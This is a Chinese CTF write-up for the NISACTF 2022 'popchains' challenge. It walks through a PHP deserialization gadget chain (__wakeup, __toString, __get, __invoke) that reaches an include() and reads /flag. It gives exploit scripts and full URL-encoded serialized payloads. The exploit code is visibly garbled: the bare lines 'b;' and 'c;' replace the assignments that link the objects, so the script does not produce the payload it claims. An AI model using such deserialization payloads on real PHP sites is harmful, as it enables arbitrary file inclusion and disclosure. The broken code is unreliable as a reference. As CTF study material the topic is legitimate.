0%

wp

2024-02-13 17:02By
a3286908966
反序列化PHPPHP伪协议WEB字符串逃逸

Problem: [NISACTF 2022]popchains

[[toc]]

NSSIMAGE
先看代码:我们要利用的是Try_Work_Hard类中的include(),在这个类中的__invoke()可以调用append函数使用include():
__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
在Make_a_Change类中的__get方法可以满足该条件:
__get():读取不可访问或者不存在的属性的时候,进行赋值
再看,在Road_is_Long类中的__toString方法可以满足该条件,即Road_is_Long->string=new Make_a_Change(),此时要先触发__toString方法才行:
__toString():把类当成字符串的时候调用,一般在echo处生效。
直接看echo,在__wakeup方法中:
__wakeup():反序列化的时候调用;
其中的if语句要满足this->page是一个对象,才会执行echo。
根据上述流程编写exp,由于Try_Work_Hard中的$var是protected类型,所以payload要进行url编码:
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var="flag.php";
}

class Make_a_Change{
public $effort;
}
$a=new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a->page=new Road_is_long();
b;
c;
echo urlencode(serialize($a));
//O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D
NSSIMAGE
传参之后发现页面空的,是flag.php不存在吗?试试index.php:
NSSIMAGE
回显了index.php,所以应该是flag.php不存在,直接访问/flag(评论区和其他wp这么写的,应该是盲猜,比较大部分的flag都在根目录)吧
最终exp:
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var="/flag";
}

class Make_a_Change{
public $effort;
}
$a=new Road_is_Long();
$b=new Make_a_Change();
$c=new Try_Work_Hard();
$a->page=new Road_is_Long();
b;
c;
echo urlencode(serialize($a));
//O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D
NSSIMAGE
拿到flag。
本题涉及到的知识点比较多比较杂,可以学习到很多东西,总结一下:
__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__toString():把类当成字符串的时候调用,一般在echo处生效
__wakeup():反序列化的时候调用
NSSIMAGE
以上图片和总结来自大佬的wp:https://blog.csdn.net/snowlyzz/article/details/126754893

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论